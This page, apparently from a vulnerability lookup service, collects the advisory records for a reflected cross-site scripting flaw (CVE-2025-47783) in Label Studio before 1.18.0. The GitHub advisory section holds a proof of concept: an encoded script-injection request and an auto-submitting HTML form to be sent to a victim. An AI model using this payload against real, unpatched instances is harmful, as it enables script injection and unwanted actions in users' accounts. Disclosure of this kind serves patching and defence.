Vulnerability-Lookup

PYSEC-2025-124

Vulnerability from pysec - Published: 2025-05-14 23:15 - Updated: 2026-05-20 09:19

Details

Label Studio is a multi-type data labeling and annotation tool. A vulnerability in versions prior to 1.18.0 allows an attacker to inject a malicious script into the context of a web page, which can lead to data theft, session hijacking, unauthorized actions on behalf of the user, and other attacks. The vulnerability is reproducible when sending a properly formatted request to the POST /projects/upload-example/ endpoint. In the source code, the vulnerability is located at label_studio/projects/views.py. Version 1.18.0 contains a patch for the issue.

Severity

6.1 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Impacted products

Name	purl
label-studio	pkg:pypi/label-studio

Aliases

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "label-studio",
        "purl": "pkg:pypi/label-studio"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.18.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "0.4.1",
        "0.4.2",
        "0.4.3",
        "0.4.4",
        "0.4.4.post1",
        "0.4.4.post2",
        "0.4.5",
        "0.4.6",
        "0.4.6.post1",
        "0.4.6.post2",
        "0.4.7",
        "0.4.8",
        "0.5.0",
        "0.5.1",
        "0.6.0",
        "0.6.1",
        "0.7.0",
        "0.7.1",
        "0.7.2",
        "0.7.3",
        "0.7.4",
        "0.7.4.post0",
        "0.7.4.post1",
        "0.7.5.post1",
        "0.7.5.post2",
        "0.8.0",
        "0.8.0.post0",
        "0.8.1",
        "0.8.1.post0",
        "0.8.2",
        "0.8.2.post0",
        "0.9.0",
        "0.9.0.post2",
        "0.9.0.post3",
        "0.9.0.post4",
        "0.9.0.post5",
        "0.9.1",
        "0.9.1.post0",
        "0.9.1.post1",
        "0.9.1.post2",
        "1.0.0",
        "1.0.0.post0",
        "1.0.0.post1",
        "1.0.0.post2",
        "1.0.0.post3",
        "1.0.1",
        "1.0.2",
        "1.0.2.post0",
        "1.1.0",
        "1.1.0rc0",
        "1.1.1",
        "1.10.0",
        "1.10.0.post0",
        "1.10.1",
        "1.11.0",
        "1.12.0",
        "1.12.0.post0",
        "1.12.1",
        "1.13.0",
        "1.13.1",
        "1.14.0",
        "1.14.0.post0",
        "1.15.0",
        "1.16.0",
        "1.17.0",
        "1.2",
        "1.3",
        "1.3.post0",
        "1.3.post1",
        "1.4",
        "1.4.1",
        "1.4.1.post0",
        "1.4.1.post1",
        "1.5.0",
        "1.5.0.post0",
        "1.6.0",
        "1.7.0",
        "1.7.1",
        "1.7.2",
        "1.7.3",
        "1.8.0",
        "1.8.1",
        "1.8.2",
        "1.8.2.post0",
        "1.8.2.post1",
        "1.9.0",
        "1.9.1",
        "1.9.1.post0",
        "1.9.2",
        "1.9.2.post0"
      ]
    }
  ],
  "aliases": [
    "CVE-2025-47783",
    "GHSA-8jhr-wpcm-hh4h"
  ],
  "details": "Label Studio is a multi-type data labeling and annotation tool. A vulnerability in versions prior to 1.18.0 allows an attacker to inject a malicious script into the context of a web page, which can lead to data theft, session hijacking, unauthorized actions on behalf of the user, and other attacks. The vulnerability is reproducible when sending a properly formatted request to the `POST /projects/upload-example/` endpoint. In the source code, the vulnerability is located at `label_studio/projects/views.py`. Version 1.18.0 contains a patch for the issue.",
  "id": "PYSEC-2025-124",
  "modified": "2026-05-20T09:19:03.900919Z",
  "published": "2025-05-14T23:15:48.213Z",
  "references": [
    {
      "type": "EVIDENCE",
      "url": "https://github.com/HumanSignal/label-studio/security/advisories/GHSA-8jhr-wpcm-hh4h"
    }
  ],
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

CVE-2025-47783 (GCVE-0-2025-47783)

Vulnerability from cvelistv5 – Published: 2025-05-14 23:01 – Updated: 2025-05-15 15:32

Title

label-studio vulnerable to Cross-Site Scripting (Reflected) via the label_config parameter.

Summary

Label Studio is a multi-type data labeling and annotation tool. A vulnerability in versions prior to 1.18.0 allows an attacker to inject a malicious script into the context of a web page, which can lead to data theft, session hijacking, unauthorized actions on behalf of the user, and other attacks. The vulnerability is reproducible when sending a properly formatted request to the `POST /projects/upload-example/` endpoint. In the source code, the vulnerability is located at `label_studio/projects/views.py`. Version 1.18.0 contains a patch for the issue.

Severity

7.6 (High)


                        
                          CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:N/SC:L/SI:L/SA:N

SSVC

Exploitation: poc Automatable: no Technical Impact: total

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2025-05-15 15:30 UTC

CWE

CWE-79 - Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Assigner

GitHub_M mitre root

References

1 reference

URL	Tags
https://github.com/HumanSignal/label-studio/secur…	x_refsource_CONFIRM

Impacted products

1 product

Vendor	Product	Version
HumanSignal	label-studio	Affected: < 1.18.0

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2025-47783",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "total"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2025-05-15T15:30:36.464279Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2025-05-15T15:32:26.174Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "label-studio",
          "vendor": "HumanSignal",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 1.18.0"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Label Studio is a multi-type data labeling and annotation tool. A vulnerability in versions prior to 1.18.0 allows an attacker to inject a malicious script into the context of a web page, which can lead to data theft, session hijacking, unauthorized actions on behalf of the user, and other attacks. The vulnerability is reproducible when sending a properly formatted request to the `POST /projects/upload-example/` endpoint. In the source code, the vulnerability is located at `label_studio/projects/views.py`. Version 1.18.0 contains a patch for the issue."
        }
      ],
      "metrics": [
        {
          "cvssV4_0": {
            "attackComplexity": "LOW",
            "attackRequirements": "PRESENT",
            "attackVector": "NETWORK",
            "baseScore": 7.6,
            "baseSeverity": "HIGH",
            "privilegesRequired": "NONE",
            "subAvailabilityImpact": "NONE",
            "subConfidentialityImpact": "LOW",
            "subIntegrityImpact": "LOW",
            "userInteraction": "PASSIVE",
            "vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:N/SC:L/SI:L/SA:N",
            "version": "4.0",
            "vulnAvailabilityImpact": "NONE",
            "vulnConfidentialityImpact": "HIGH",
            "vulnIntegrityImpact": "HIGH"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-79",
              "description": "CWE-79: Improper Neutralization of Input During Web Page Generation (\u0027Cross-site Scripting\u0027)",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2025-05-14T23:01:17.213Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/HumanSignal/label-studio/security/advisories/GHSA-8jhr-wpcm-hh4h",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/HumanSignal/label-studio/security/advisories/GHSA-8jhr-wpcm-hh4h"
        }
      ],
      "source": {
        "advisory": "GHSA-8jhr-wpcm-hh4h",
        "discovery": "UNKNOWN"
      },
      "title": "label-studio vulnerable to Cross-Site Scripting (Reflected) via the label_config parameter."
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2025-47783",
    "datePublished": "2025-05-14T23:01:17.213Z",
    "dateReserved": "2025-05-09T19:49:35.621Z",
    "dateUpdated": "2025-05-15T15:32:26.174Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.1"
}

GHSA-8JHR-WPCM-HH4H

Vulnerability from github – Published: 2025-05-15 16:21 – Updated: 2026-06-06 00:31

Summary

label-studio vulnerable to Cross-Site Scripting (Reflected) via the label_config parameter.

Details

Summary

The vulnerability allows an attacker to inject a malicious script into the context of a web page, which can lead to data theft, unauthorized actions on behalf of the user, and other attacks.

Details

The vulnerability is reproducible when sending a properly formatted request to the POST /projects/upload-example/ endpoint. In the source code, the vulnerability is located at label_studio/projects/views.py.

39: @require_http_methods(['POST'])
40: def upload_example_using_config(request):
41:     """Generate upload data example by config only"""
42:     config = request.POST.get('label_config', '')
43: 
44:     org_pk = get_organization_from_request(request)
45:     secure_mode = False
46:     if org_pk is not None:
47:         org = generics.get_object_or_404(Organization, pk=org_pk)
48:         secure_mode = org.secure_mode
49: 
50:     try:
51:         Project.validate_label_config(config)
52:         task_data, _, _ = get_sample_task(config, secure_mode)
53:         task_data = playground_replacements(request, task_data)
54:     except (ValueError, ValidationError, lxml.etree.Error):
55:         response = HttpResponse('error while example generating', status=status.HTTP_400_BAD_REQUEST)
56:     else:
57:         response = HttpResponse(json.dumps(task_data))
58:     return response

The vulnerability is specifically located in line 57, where HttpResponse is used.

57:         response = HttpResponse(json.dumps(task_data))

PoC

Send the following request after changing the {host} to your own.

POST /projects/upload-example/ HTTP/1.1
Host: {host}
Content-Type: application/x-www-form-urlencoded
Content-Length: 67

label_config=%3cView%3e%3cText%20name%3d%22text%22%20value%3d%22$textjmwwi%26lt%3bscript%26gt%3balert(1)%26lt%3b%2fscript%26gt%3bs8m37%22%2f%3e%3c%2fView%3e

Or you can create a vulnerable HTML page by changing {domain} beforehand, which can later be sent to the victim.

<html>
  <body>
    <form action="http://{domain}/projects/upload-example/" method="POST">
      <input type="hidden" name="label&#95;config" value="&lt;View&gt;&lt;Text&#32;name&#61;&quot;text&quot;&#32;value&#61;&quot;&#36;textjmwwi&amp;lt&#59;script&amp;gt&#59;alert&#40;1&#41;&amp;lt&#59;&#47;script&amp;gt&#59;s8m37&quot;&#47;&gt;&lt;&#47;View&gt;" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>

Impact

Malicious code execution: The user may be forced to perform unwanted actions within their Label Studio account. This includes accessing document.cookie, but note that Label Studio session cookies are marked http-only, mitigating any possibility of session theft.

Severity

7.6 (High)


                  
                    CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:N/SC:L/SI:L/SA:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "label-studio"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.18.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-47783"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-79"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-05-15T16:21:16Z",
    "nvd_published_at": "2025-05-14T23:15:48Z",
    "severity": "HIGH"
  },
  "details": "### Summary\nThe vulnerability allows an attacker to inject a malicious script into the context of a web page, which can lead to data theft, unauthorized actions on behalf of the user, and other attacks.\n\n### Details\nThe vulnerability is reproducible when sending a properly formatted request to the `POST /projects/upload-example/` endpoint. In the source code, the vulnerability is located at `label_studio/projects/views.py`.\n```python\n39: @require_http_methods([\u0027POST\u0027])\n40: def upload_example_using_config(request):\n41:     \"\"\"Generate upload data example by config only\"\"\"\n42:     config = request.POST.get(\u0027label_config\u0027, \u0027\u0027)\n43: \n44:     org_pk = get_organization_from_request(request)\n45:     secure_mode = False\n46:     if org_pk is not None:\n47:         org = generics.get_object_or_404(Organization, pk=org_pk)\n48:         secure_mode = org.secure_mode\n49: \n50:     try:\n51:         Project.validate_label_config(config)\n52:         task_data, _, _ = get_sample_task(config, secure_mode)\n53:         task_data = playground_replacements(request, task_data)\n54:     except (ValueError, ValidationError, lxml.etree.Error):\n55:         response = HttpResponse(\u0027error while example generating\u0027, status=status.HTTP_400_BAD_REQUEST)\n56:     else:\n57:         response = HttpResponse(json.dumps(task_data))\n58:     return response\n```\nThe vulnerability is specifically located in line 57, where HttpResponse is used.\n```python\n57:         response = HttpResponse(json.dumps(task_data))\n```\n### PoC\nSend the following request after changing the `{host}` to your own.\n```css\nPOST /projects/upload-example/ HTTP/1.1\nHost: {host}\nContent-Type: application/x-www-form-urlencoded\nContent-Length: 67\n\nlabel_config=%3cView%3e%3cText%20name%3d%22text%22%20value%3d%22$textjmwwi%26lt%3bscript%26gt%3balert(1)%26lt%3b%2fscript%26gt%3bs8m37%22%2f%3e%3c%2fView%3e\n```\nOr you can create a vulnerable HTML page by changing `{domain}` beforehand, which can later be sent to the victim.\n```html\n\u003chtml\u003e\n  \u003cbody\u003e\n    \u003cform action=\"http://{domain}/projects/upload-example/\" method=\"POST\"\u003e\n      \u003cinput type=\"hidden\" name=\"label\u0026#95;config\" value=\"\u0026lt;View\u0026gt;\u0026lt;Text\u0026#32;name\u0026#61;\u0026quot;text\u0026quot;\u0026#32;value\u0026#61;\u0026quot;\u0026#36;textjmwwi\u0026amp;lt\u0026#59;script\u0026amp;gt\u0026#59;alert\u0026#40;1\u0026#41;\u0026amp;lt\u0026#59;\u0026#47;script\u0026amp;gt\u0026#59;s8m37\u0026quot;\u0026#47;\u0026gt;\u0026lt;\u0026#47;View\u0026gt;\" /\u003e\n      \u003cinput type=\"submit\" value=\"Submit request\" /\u003e\n    \u003c/form\u003e\n    \u003cscript\u003e\n      history.pushState(\u0027\u0027, \u0027\u0027, \u0027/\u0027);\n      document.forms[0].submit();\n    \u003c/script\u003e\n  \u003c/body\u003e\n\u003c/html\u003e\n```\n### Impact\n- Malicious code execution: The user may be forced to perform unwanted actions within their Label Studio account. This includes accessing `document.cookie`, but note that Label Studio session cookies are marked http-only, mitigating any possibility of session theft.",
  "id": "GHSA-8jhr-wpcm-hh4h",
  "modified": "2026-06-06T00:31:24Z",
  "published": "2025-05-15T16:21:16Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/HumanSignal/label-studio/security/advisories/GHSA-8jhr-wpcm-hh4h"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-47783"
    },
    {
      "type": "WEB",
      "url": "https://github.com/HumanSignal/label-studio/commit/97db9e7b16783e1f6052eb432a6f014f80ef268d"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/HumanSignal/label-studio"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/label-studio/PYSEC-2025-124.yaml"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:N/SC:L/SI:L/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "label-studio vulnerable to Cross-Site Scripting (Reflected) via the label_config parameter."
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.

Action not permitted

PYSEC-2025-124

CVE-2025-47783 (GCVE-0-2025-47783)

GHSA-8JHR-WPCM-HH4H

Summary

Details

PoC

Impact

Tags

Sightings

Nomenclature

Related by attack behaviour